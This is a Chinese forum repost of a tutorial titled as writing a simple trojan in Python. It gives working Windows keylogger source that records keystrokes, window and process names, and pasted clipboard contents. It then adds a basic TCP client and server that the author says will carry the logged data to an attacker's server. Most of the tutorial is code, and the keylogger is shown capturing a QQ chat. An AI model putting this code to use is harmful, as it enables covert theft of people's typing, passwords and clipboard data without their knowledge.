设为首页 收藏本站
查看: 750|回复: 0

[经验分享] 【转载】Python编写简易木马程序

[复制链接]
累计签到:1 天
连续签到:1 天
发表于 2015-12-1 12:29:33 | 显示全部楼层 |阅读模式
  
  转载来自: http://drops.wooyun.org/papers/4751?utm_source=tuicool
  
  使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。
  首先准备好我们需要的依赖库,python hook和pythoncom。
  说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。
  Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。



1 # -*- coding: utf-8 -*-  
2 from ctypes import *
3 import pythoncom
4 import pyHook
5 import win32clipboard
6  
7 user32 = windll.user32
8 kernel32 = windll.kernel32
9 psapi = windll.psapi
10 current_window = None
11  
12 #
13 def get_current_process():
14  
15     # 获取最上层的窗口句柄
16     hwnd = user32.GetForegroundWindow()
17  
18     # 获取进程ID
19     pid = c_ulong(0)
20     user32.GetWindowThreadProcessId(hwnd,byref(pid))
21  
22     # 将进程ID存入变量中
23     process_id = "%d" % pid.value
24  
25     # 申请内存
26     executable = create_string_buffer("\x00"*512)
27     h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
28  
29     psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
30  
31     # 读取窗口标题
32     windows_title = create_string_buffer("\x00"*512)
33     length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
34  
35     # 打印
36     print
37     print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
38     print
39  
40     # 关闭handles
41     kernel32.CloseHandle(hwnd)
42     kernel32.CloseHandle(h_process)
43  
44 # 定义击键监听事件函数
45 def KeyStroke(event):
46  
47     global current_window
48  
49     # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
50     if event.WindowName != current_window:
51         current_window = event.WindowName
52         # 函数调用
53         get_current_process()
54  
55     # 检测击键是否常规按键(非组合键等)
56     if event.Ascii > 32 and event.Ascii <127:
57         print chr(event.Ascii),
58     else:
59         # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
60         if event.Key == "V":
61             win32clipboard.OpenClipboard()
62             pasted_value = win32clipboard.GetClipboardData()
63             win32clipboard.CloseClipboard()
64             print "[PASTE]-%s" % (pasted_value),
65         else:
66             print "[%s]" % event.Key,
67     # 循环监听下一个击键事件
68     return True
69  
70 # 创建并注册hook管理器
71 kl = pyHook.HookManager()
72 kl.KeyDown = KeyStroke
73  
74 # 注册hook并执行
75 kl.HookKeyboard()
76 pythoncom.PumpMessages()
  【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
  撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:
  切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。
  
  

完成一个简易木马
  无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。
  编写一个简单的TCPclient



1 # -*- coding: utf-8 -*-
2 import socket
3  
4 # 目标地址IP/URL及端口
5 target_host = "127.0.0.1"
6 target_port = 9999
7  
8 # 创建一个socket对象
9 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
10  
11 # 连接主机
12 client.connect((target_host,target_port))
13  
14 # 发送数据
15 client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
16  
17 # 接收响应
18 response = client.recv(4096)
19  
20 print response
  编写一个简单的TCPserver



1 # -*- coding: utf-8 -*-
2 import socket
3 import threading
4  
5 # 监听的IP及端口
6 bind_ip = "127.0.0.1"
7 bind_port = 9999
8  
9 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
10  
11 server.bind((bind_ip,bind_port))
12  
13 server.listen(5)
14  
15 print "
  • Listening on %s:%d" % (bind_ip,bind_port)
    16  
    17 def handle_client(client_socket):
    18  
    19     request = client_socket.recv(1024)
    20  
    21     print "
  • Received:%s" % request
    22  
    23     client_socket.send("ok!")
    24  
    25     client_socket.close()
    26  
    27 while True:
    28  
    29     client,addr = server.accept()
    30  
    31     print "
  • Accept connection from:%s:%d" % (addr[0],addr[1])
    32  
    33     client_handler = threading.Thread(target=handle_client,args=(client,))
    34  
    35     client_handler.start()
      开启服务端监听 客户端执行

    参考文档:
      《Black Hat Python》

  • 运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
    2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
    3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
    4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
    5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
    6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
    7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
    8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

    所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-145861-1-1.html 上篇帖子: 用Python制作新浪微博爬虫 下篇帖子: 2015/11/1用Python写游戏,pygame入门(1):pygame的安装
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    扫码加入运维网微信交流群X

    扫码加入运维网微信交流群

    扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

    扫描微信二维码查看详情

    客服E-mail:kefu@iyunv.com 客服QQ:1061981298


    QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


    提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


    本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



    合作伙伴: 青云cloud

    快速回复 返回顶部 返回列表